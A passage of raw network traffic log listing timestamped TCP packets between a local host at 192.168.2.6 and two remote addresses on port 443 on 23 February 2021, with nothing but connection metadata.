Feb 23, 2021 10:04:41.030687094 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.030702114 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.030718088 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.030733109 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.030767918 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.030821085 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.031667948 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.031687021 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.031706095 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.031723022 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.031739950 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.031744003 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.031790972 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.032454014 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.032471895 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.032489061 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.032505035 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.032520056 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.032557011 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.033373117 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.033407927 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.033428907 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.033442974 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.033451080 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.033468962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.033471107 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.033510923 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.034208059 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.034234047 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.034250975 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.034323931 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.034713030 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.034733057 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.034749985 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.034765005 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.034780979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.034790993 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.034802914 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.034836054 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.035640001 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.035659075 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.035675049 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.035691977 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.035707951 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.035741091 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.036511898 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.036533117 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.036550999 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.036566019 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.036575079 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.036581993 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.036602974 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.036644936 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.037421942 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.037444115 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.037476063 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.037497044 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.037517071 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.037537098 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.037554979 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.038269043 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.038292885 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.038312912 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.038332939 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.038338900 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.038353920 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.038393021 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.038405895 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.039169073 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.039192915 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.039211988 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.039237022 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.039268017 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.039273024 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.039290905 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.040050030 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.040074110 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.040093899 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.040113926 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.040123940 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.040133953 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.040153027 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.040184975 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.040935993 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.040958881 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.040978909 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.040997982 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.041018963 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.041044950 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.041062117 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.041846991 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.041868925 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.041889906 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.041909933 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.041913033 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.041929960 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.041930914 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.041969061 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.042718887 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.042742968 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.042762995 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.042784929 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.042803049 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.042825937 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.042845964 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.043602943 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.043627024 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.043648005 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.043668985 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.043678045 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.043689966 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.043709040 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.043742895 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.044457912 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.044482946 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.044502020 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.044603109 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.044991016 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.045018911 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.045041084 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.045059919 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.045059919 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.045082092 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.045099020 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.045131922 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.045866966 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.045929909 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.045952082 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.045972109 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.045988083 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.045996904 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.046019077 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.046761036 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.046783924 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.046803951 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.046828985 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.046828032 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.046850920 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.046855927 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.046901941 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.047652960 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.047683954 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.047710896 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.047736883 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.047764063 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.047770023 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.047785044 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.048547983 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.048578978 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.048607111 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.048624039 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.048635006 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.048660040 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.048661947 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.048702955 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.049539089 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.049575090 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.049606085 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.049633026 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.049638033 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.049660921 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.049685955 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.050337076 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.050367117 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.050394058 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.050409079 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.050420046 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.050446033 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.050453901 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.050499916 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.051188946 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.051219940 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.051248074 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.051274061 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.051301956 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.051357031 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.051374912 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.052117109 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.052145958 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.052172899 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.052192926 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.052201986 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.052229881 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.052231073 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.052285910 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.052958012 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.052989006 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.053015947 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.053042889 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.053067923 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.053073883 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.053097963 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.053848982 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.053879976 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.053905964 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.053926945 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.053934097 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.053951979 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.053961992 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.054016113 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.054718971 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.054749966 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.054775953 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.054802895 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.054816961 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.054830074 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.054857016 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.055620909 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.055651903 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.055680037 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.055711985 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.055726051 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.055733919 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.055742025 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.055794954 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.056493044 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.056525946 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.056551933 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.056585073 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.056595087 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.056615114 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.056631088 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.057373047 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.057427883 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.057470083 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.057503939 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.057524920 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.057890892 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.057929039 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.057960987 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.057981014 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.057993889 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.058027983 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.058039904 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.058803082 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.058839083 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.058871031 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.058886051 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.058907032 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.058918953 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.058948040 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.058995008 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.059698105 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.059736013 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.059771061 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.059794903 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.059812069 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.059849024 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.059864998 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.060539007 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.060575008 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.060606956 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.060609102 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.060640097 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.060653925 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.060674906 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.060719967 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.061515093 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.061552048 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.061585903 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.061619997 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.061621904 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.061661005 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.061696053 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.062321901 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.062427998 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.062460899 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.062494040 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.062534094 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.062572002 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:41.062602997 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.062619925 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:41.074316025 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:44.620224953 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:44.932312965 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:45.541814089 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:46.745026112 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:46.786084890 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:46.789412975 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:51.321669102 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.376255035 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.376501083 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.377279043 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.431427002 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.435312986 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.435352087 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.435384989 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.435483932 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.438704967 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.491833925 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.492018938 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.493681908 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.494254112 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.546746969 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.547219992 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.547245979 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.547256947 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.547274113 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.547288895 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.547303915 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.547348976 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.547413111 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.547432899 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.547483921 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.547499895 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.547516108 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.547570944 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.547602892 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.600455046 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600481987 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600492954 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600513935 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600529909 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600548983 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600565910 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600574017 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.600580931 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600598097 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600614071 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600630999 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600635052 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.600646019 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600661993 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.600663900 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600671053 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:51.600684881 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600703001 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600718021 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600733995 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600749016 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600764036 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.600780010 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.653774023 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.653844118 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.653858900 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.653875113 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.653889894 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.653904915 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.653922081 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.653958082 CET	443	49773	172.67.199.58	192.168.2.6
